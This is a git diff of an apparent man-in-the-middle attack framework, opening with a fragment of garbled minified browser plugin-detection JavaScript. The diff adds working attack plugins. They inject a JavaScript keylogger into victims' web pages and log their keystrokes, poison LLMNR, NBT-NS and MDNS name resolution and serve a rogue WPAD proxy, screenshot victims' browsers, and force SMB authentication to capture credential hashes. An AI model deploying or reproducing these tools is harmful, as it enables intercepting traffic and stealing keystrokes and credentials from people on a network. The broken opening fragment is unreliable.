p},axo:{detected:0,version:null,precision:0,progID:["AcroPDF.PDF","AcroPDF.PDF.1","PDF.PdfCtrl","PDF.PdfCtrl.5","PDF.PdfCtrl.1"],progID_dummy:"AcroDUMMY.DUMMY",query:function(){var t=this,q=c,u,v,s,r,p,w;if(t.detected){return t}t.detected=-1;v=PluginDetect.getAXO(t.progID_dummy);if(!v){w=PluginDetect.errObj}for(p=0;p0||w?1:(q==-0.1||q==-0.5?-0.5:-1);if(w){y.version=w}if(t){y.precision=t}return y}},doc2:{detected:0,version:null,precision:0,classID:"clsid:CA8A9780-280D-11CF-A24D-444553540000",mimeType:"application/pdf",HTML:0,count:0,count2:0,time2:0,intervalLength:50,maxCount:150,isDisabled:function(){var r=this,v=c,u=v.axo,p=v.nav,x=v.doc,w,t,q=0,s;if(r.HTML){q=2}else{if(PluginDetect.dbug){}else{if(!PluginDetect.DOM.isEnabled.objectTagUsingActiveX()){q=2}else{w=(p?p.version:0)||(u?u.version:0)||(x?x.version:0)||0;t=(p?p.precision:0)||(u?u.precision:0)||(x?x.precision:0)||0;if(!w||!t||t>2||PluginDetect.compareNums(PluginDetect.formatNum(w),PluginDetect.formatNum("11"))<0){q=2}}}}if(q<2){s=PluginDetect.file.getValid(v);if(!s||!s.full){q=1}}return q},handlerSet:0,onMessage:function(){var p=this;return function(q){if(p.version){return}p.detected=1;if(PluginDetect.isArray(q)){q=q[0]}q=PluginDetect.getNum(q+"");if(q){if(!(/[.,_]/).test(q)){q+="."}q+="00000";if((/^(\d+)[.,_](\d)(\d\d)(\d\d)/).test(q)){q=RegExp.$1+","+RegExp.$2+","+RegExp.$3+","+RegExp.$4}p.version=PluginDetect.formatNum(q);p.precision=3;c.setPluginStatus()}}},isDefinedMsgHandler:function(q,r){try{return q?q.messageHandler!==r:0}catch(p){}return 1},queryObject:function(){var r=this,s=r.HTML,q=s?s.obj():0;if(!q){return}if(!r.handlerSet&&r.isDefinedMsgHandler(q)){try{q.messageHandler={onMessage:r.onMessage()}}catch(p){}r.handlerSet=1;r.count2=r.count;r.time2=(new Date()).getTime()}if(!r.detected){if(r.count>3&&!r.handlerSet){r.detected=-1}else{if(r.time2&&r.count-r.count2>=r.maxCount&&(new Date()).getTime()-r.time2>=r.intervalLength*r.maxCount){r.detected=-0.5}}}if(r.detected){if(r.detected!=-1){}}},insertHTMLQuery:function(){var u=this,p=c,r=PluginDetect.DOM.altHTML,q,s,t=0;if(u.isDisabled()){return u}if(p.OTF<2){p.OTF=2}q=PluginDetect.file.getValid(p).full;s=PluginDetect.DOM.iframe.insert(0,"Adobe Reader");PluginDetect.DOM.iframe.write(s,''.format(self.js_url) - - if self.js_payload is not None: - payload += ''.format(self.js_payload) - - if self.js_file: - payload += ''.format(self.js_file.read()) - - return payload - def _ip_filter(self, ip): if self.white_ips[0] != '': @@ -122,8 +132,7 @@ class Inject(Plugin): return True - - def _should_inject(self, ip, hn, mime): + def _should_inject(self, ip, hn): if self.count_limit == self.rate_limit is None and not self.per_domain: return True @@ -138,45 +147,16 @@ class Inject(Plugin): if self.per_domain: return not ip+hn in self.dtable - return mime.find(self.mime) != -1 - - def _get_req_info(self, response): - ip = response.getClientIP() - hn = response.getRequestHostname() - mime = response.headers['Content-Type'] - return (ip, hn, mime) - - def _insert_html(self, data, pre=[], post=[], re_flags=re.I): - ''' - To use this function, simply pass a list of tuples of the form: - - (string/regex_to_match,html_to_inject) - - NOTE: Matching will be case insensitive unless differnt flags are given - - The pre array will have the match in front of your injected code, the post - will put the match behind it. - ''' - pre_regexes = [re.compile(r"(?P"+i[0]+")", re_flags) for i in pre] - post_regexes = [re.compile(r"(?P"+i[0]+")", re_flags) for i in post] - - for i, r in enumerate(pre_regexes): - data = re.sub(r, "\g"+pre[i][1], data) - - for i, r in enumerate(post_regexes): - data = re.sub(r, post[i][1]+"\g", data) - - return data + return True def options(self, options): options.add_argument("--js-url", type=str, help="URL of the JS to inject") options.add_argument('--js-payload', type=str, help='JS string to inject') - options.add_argument('--js-file', type=argparse.FileType('r'), help='File containing JS to inject') + options.add_argument('--js-file', type=str, help='File containing JS to inject') options.add_argument("--html-url", type=str, help="URL of the HTML to inject") options.add_argument("--html-payload", type=str, help="HTML string to inject") - options.add_argument('--html-file', type=argparse.FileType('r'), help='File containing HTML to inject') - options.add_argument("--match-str", type=str, default='', help="String you would like to match and place your payload before. ( by default)") - + options.add_argument('--html-file', type=str, help='File containing HTML to inject') + group = options.add_mutually_exclusive_group(required=False) group.add_argument("--per-domain", action="store_true", help="Inject once per domain per client.") group.add_argument("--rate-limit", type=float, help="Inject once every RATE_LIMIT seconds per client.") diff --git a/plugins/jskeylogger.py b/plugins/jskeylogger.py new file mode 100644 index 0000000..41c008f --- /dev/null +++ b/plugins/jskeylogger.py @@ -0,0 +1,62 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +from plugins.inject import Inject +from plugins.plugin import Plugin + +class JSKeylogger(Inject, Plugin): + name = "JSKeylogger" + optname = "jskeylogger" + desc = "Injects a javascript keylogger into clients webpages" + version = "0.2" + + def initialize(self, options): + Inject.initialize(self, options) + self.js_file = "./core/javascript/msfkeylogger.js" + + def request(self, request): + if 'keylog' in request.uri: + request.handle_post_output = True + + raw_keys = request.postData.split("&&")[0] + input_field = request.postData.split("&&")[1] + + keys = raw_keys.split(",") + if keys: + del keys[0]; del(keys[len(keys)-1]) + + nice = '' + for n in keys: + if n == '9': + nice += "" + elif n == '8': + nice = nice[:-1] + elif n == '13': + nice = '' + else: + try: + nice += n.decode('hex') + except: + self.clientlog.error("Error decoding char: {}".format(n), extra=request.clientInfo) + + self.clientlog.info("Host: {} | Field: {} | Keys: {}".format(request.headers['host'], input_field, nice), extra=request.clientInfo) + + def options(self, options): + pass \ No newline at end of file diff --git a/plugins/plugin.py b/plugins/plugin.py index 89ab856..f42efd6 100644 --- a/plugins/plugin.py +++ b/plugins/plugin.py @@ -1,5 +1,3 @@ -#!/usr/bin/env python2.7 - # Copyright (c) 2014-2016 Marcello Salvati # # This program is free software; you can redistribute it and/or @@ -24,7 +22,7 @@ import argparse from core.configwatcher import ConfigWatcher from core.logger import logger -class Plugin(ConfigWatcher, object): +class Plugin(ConfigWatcher): name = "Generic plugin" optname = "generic" tree_info = [] diff --git a/plugins/replace.py b/plugins/replace.py new file mode 100644 index 0000000..c12fdbe --- /dev/null +++ b/plugins/replace.py @@ -0,0 +1,53 @@ +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +""" + +Original plugin by @rubenthijssen + +""" + +import re +from plugins.plugin import Plugin + +class Replace(Plugin): + name = "Replace" + optname = "replace" + desc = "Replace arbitrary content in HTML content" + version = "0.2" + + def initialize(self, options): + self.options = options + + def response(self, response, request, data): + mime = response.headers['Content-Type'] + hn = response.getRequestHostname() + + if "text/html" in mime: + + for rulename, regexs in self.config['Replace'].iteritems(): + for regex1,regex2 in regexs.iteritems(): + if re.search(regex1, data): + try: + data = re.sub(regex1, regex2, data) + + self.clientlog.info("occurances matching '{}' replaced with '{}' according to rule '{}'".format(regex1, regex2, rulename), extra=request.clientInfo) + except Exception: + self.log.error("Your provided regex ({}) or replace value ({}) is empty or invalid. Please debug your provided regex(es) in rule '{}'".format(regex1, regex2, rulename)) + + return {'response': response, 'request': request, 'data': data} diff --git a/plugins/responder.py b/plugins/responder.py new file mode 100644 index 0000000..aa2a6f9 --- /dev/null +++ b/plugins/responder.py @@ -0,0 +1,141 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +from plugins.plugin import Plugin +from twisted.internet import reactor + +class Responder(Plugin): + name = "Responder" + optname = "responder" + desc = "Poison LLMNR, NBT-NS and MDNS requests" + tree_info = ["NBT-NS, LLMNR & MDNS Responder v2.1.2 by Laurent Gaffie online"] + version = "0.2" + has_opts = True + + def initialize(self, options): + '''Called if plugin is enabled, passed the options namespace''' + self.options = options + self.interface = options.interface + self.ip = options.ip + + try: + config = self.config['Responder'] + smbChal = self.config['MITMf']['SMB']['Challenge'] + except Exception as e: + shutdown('[-] Error parsing config for Responder: ' + str(e)) + + from core.responder.llmnr.LLMNRpoisoner import LLMNRpoisoner + from core.responder.mdns.MDNSpoisoner import MDNSpoisoner + from core.responder.nbtns.NBTNSpoisoner import NBTNSpoisoner + from core.responder.fingerprinter.LANfingerprinter import LANfingerprinter + + LANfingerprinter().start(options) + MDNSpoisoner().start(options, options.ip) + NBTNSpoisoner().start(options, options.ip) + LLMNRpoisoner().start(options, options.ip) + + if options.wpad: + from core.servers.http.HTTPserver import HTTPserver + import flask + + server = HTTPserver().server + + @server.route('/') + def wpad(wpad_req): + if (wpad_req == 'wpad.dat') or (wpad_req.endswith('.pac')): + payload = self.config['Responder']['WPADScript'] + + resp = flask.Response(payload) + resp.headers['Server'] = "Microsoft-IIS/6.0" + resp.headers['Content-Type'] = "application/x-ns-proxy-autoconfig" + resp.headers['X-Powered-By'] = "ASP.NET" + resp.headers['Content-Length'] = len(payload) + + return resp + + if self.config["Responder"]["MSSQL"].lower() == "on": + from core.responder.mssql.MSSQLserver import MSSQLserver + MSSQLserver().start(smbChal) + + if self.config["Responder"]["Kerberos"].lower() == "on": + from core.responder.kerberos.KERBserver import KERBserver + KERBserver().start() + + if self.config["Responder"]["FTP"].lower() == "on": + from core.responder.ftp.FTPserver import FTPserver + FTPserver().start() + + if self.config["Responder"]["POP"].lower() == "on": + from core.responder.pop3.POP3server import POP3server + POP3server().start() + + if self.config["Responder"]["SMTP"].lower() == "on": + from core.responder.smtp.SMTPserver import SMTPserver + SMTPserver().start() + + if self.config["Responder"]["IMAP"].lower() == "on": + from core.responder.imap.IMAPserver import IMAPserver + IMAPserver().start() + + if self.config["Responder"]["LDAP"].lower() == "on": + from core.responder.ldap.LDAPserver import LDAPserver + LDAPserver().start(smbChal) + + if options.analyze: + self.tree_info.append("Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned") + self.IsICMPRedirectPlausible(options.ip) + + def IsICMPRedirectPlausible(self, IP): + result = [] + dnsip = [] + for line in file('/etc/resolv.conf', 'r'): + ip = line.split() + if len(ip) < 2: + continue + if ip[0] == 'nameserver': + dnsip.extend(ip[1:]) + + for x in dnsip: + if x !="127.0.0.1" and self.IsOnTheSameSubnet(x,IP) == False: + self.tree_info.append("You can ICMP Redirect on this network. This workstation ({}) is not on the same subnet than the DNS server ({})".format(IP, x)) + else: + pass + + def IsOnTheSameSubnet(self, ip, net): + net = net+'/24' + ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16) + netstr, bits = net.split('/') + netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16) + mask = (0xffffffff << (32 - int(bits))) & 0xffffffff + return (ipaddr & mask) == (netaddr & mask) + + def reactor(self, strippingFactory): + reactor.listenTCP(3141, strippingFactory) + + def options(self, options): + options.add_argument('--analyze', dest="analyze", action="store_true", help="Allows you to see NBT-NS, BROWSER, LLMNR requests without poisoning") + options.add_argument('--wredir', dest="wredir", default=False, action="store_true", help="Enables answers for netbios wredir suffix queries") + options.add_argument('--nbtns', dest="nbtns", default=False, action="store_true", help="Enables answers for netbios domain suffix queries") + options.add_argument('--fingerprint', dest="finger", default=False, action="store_true", help = "Fingerprint hosts that issued an NBT-NS or LLMNR query") + options.add_argument('--lm', dest="lm", default=False, action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier") + options.add_argument('--wpad', dest="wpad", default=False, action="store_true", help = "Start the WPAD rogue proxy server") + # Removed these options until I find a better way of implementing them + #options.add_argument('--forcewpadauth', dest="forceWpadAuth", default=False, action="store_true", help = "Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False") + #options.add_argument('--basic', dest="basic", default=False, action="store_true", help="Set this if you want to return a Basic HTTP authentication. If not set, an NTLM authentication will be returned") diff --git a/plugins/screenshotter.py b/plugins/screenshotter.py new file mode 100644 index 0000000..b7f9ccc --- /dev/null +++ b/plugins/screenshotter.py @@ -0,0 +1,59 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import base64 +import urllib +import re + +from datetime import datetime +from plugins.plugin import Plugin +from plugins.inject import Inject + +class ScreenShotter(Inject, Plugin): + name = 'ScreenShotter' + optname = 'screen' + desc = 'Uses HTML5 Canvas to render an accurate screenshot of a clients browser' + ver = '0.1' + + def initialize(self, options): + Inject.initialize(self, options) + self.js_payload = self.get_payload() + self.interval = options.interval + + def request(self, request): + if 'saveshot' in request.uri: + request.handle_post_output = True + + client = request.client.getClientIP() + img_file = '{}-{}-{}.png'.format(client, request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")) + try: + with open('./logs/' + img_file, 'wb') as img: + img.write(base64.b64decode(urllib.unquote(request.postData).decode('utf8').split(',')[1])) + img.close() + + self.clientlog.info('Saved screenshot to {}'.format(img_file), extra=request.clientInfo) + except Exception as e: + self.clientlog.error('Error saving screenshot: {}'.format(e), extra=request.clientInfo) + + def get_payload(self): + return re.sub("SECONDS_GO_HERE", str(self.interval*1000), open("./core/javascript/screenshot.js", "rb").read()) + + def options(self, options): + options.add_argument("--interval", dest="interval", type=int, metavar="SECONDS", default=10, help="Interval at which screenshots will be taken (default 10 seconds)") diff --git a/plugins/smbauth.py b/plugins/smbauth.py new file mode 100644 index 0000000..eb67aa8 --- /dev/null +++ b/plugins/smbauth.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +from plugins.plugin import Plugin +from plugins.inject import Inject + +class SMBAuth(Inject, Plugin): + name = "SMBAuth" + optname = "smbauth" + desc = "Evoke SMB challenge-response auth attempts" + version = "0.1" + + def initialize(self, options): + self.ip = options.ip + Inject.initialize(self, options) + self.html_payload = self._get_data() + + def _get_data(self): + return ''\ + ''\ + '' % tuple([self.ip]*3) + + def options(self, options): + pass diff --git a/plugins/smbtrap.py b/plugins/smbtrap.py new file mode 100644 index 0000000..ceec87f --- /dev/null +++ b/plugins/smbtrap.py @@ -0,0 +1,38 @@ +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# +import random +import string + +from plugins.plugin import Plugin + +class SMBTrap(Plugin): + name = "SMBTrap" + optname = "smbtrap" + desc = "Exploits the SMBTrap vulnerability on connected clients" + version = "1.0" + + def initialize(self, options): + self.ip = options.ip + + def responsestatus(self, request, version, code, message): + return {"request": request, "version": version, "code": 302, "message": "Found"} + + def responseheaders(self, response, request): + self.clientlog.info("Trapping request to {}".format(request.headers['host'])) + rand_path = ''.join(random.sample(string.ascii_uppercase + string.digits, 8)) + response.headers["Location"] = "file://{}/{}".format(self.ip, rand_path) diff --git a/plugins/upsidedownternet.py b/plugins/upsidedownternet.py new file mode 100644 index 0000000..a3a53b6 --- /dev/null +++ b/plugins/upsidedownternet.py @@ -0,0 +1,61 @@ +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +from cStringIO import StringIO +from plugins.plugin import Plugin +from PIL import Image, ImageFile + +class Upsidedownternet(Plugin): + name = "Upsidedownternet" + optname = "upsidedownternet" + desc = 'Flips images 180 degrees' + version = "0.1" + + def initialize(self, options): + self.options = options + + def responseheaders(self, response, request): + '''Kill the image skipping that's in place for speed reasons''' + if request.isImageRequest: + request.isImageRequest = False + request.isImage = True + self.imageType = response.headers['content-type'].split('/')[1].upper() + + def response(self, response, request, data): + try: + isImage = getattr(request, 'isImage') + except AttributeError: + isImage = False + + if isImage: + try: + #For some reason more images get parsed using the parser + #rather than a file...PIL still needs some work I guess + p = ImageFile.Parser() + p.feed(data) + im = p.close() + im = im.transpose(Image.ROTATE_180) + output = StringIO() + im.save(output, format=self.imageType) + data = output.getvalue() + output.close() + self.clientlog.info("Flipped image".format(response.getClientIP())) + except Exception as e: + self.clientlog.info("Error: {}".format(response.getClientIP(), e)) + + return {'response': response, 'request': request, 'data': data}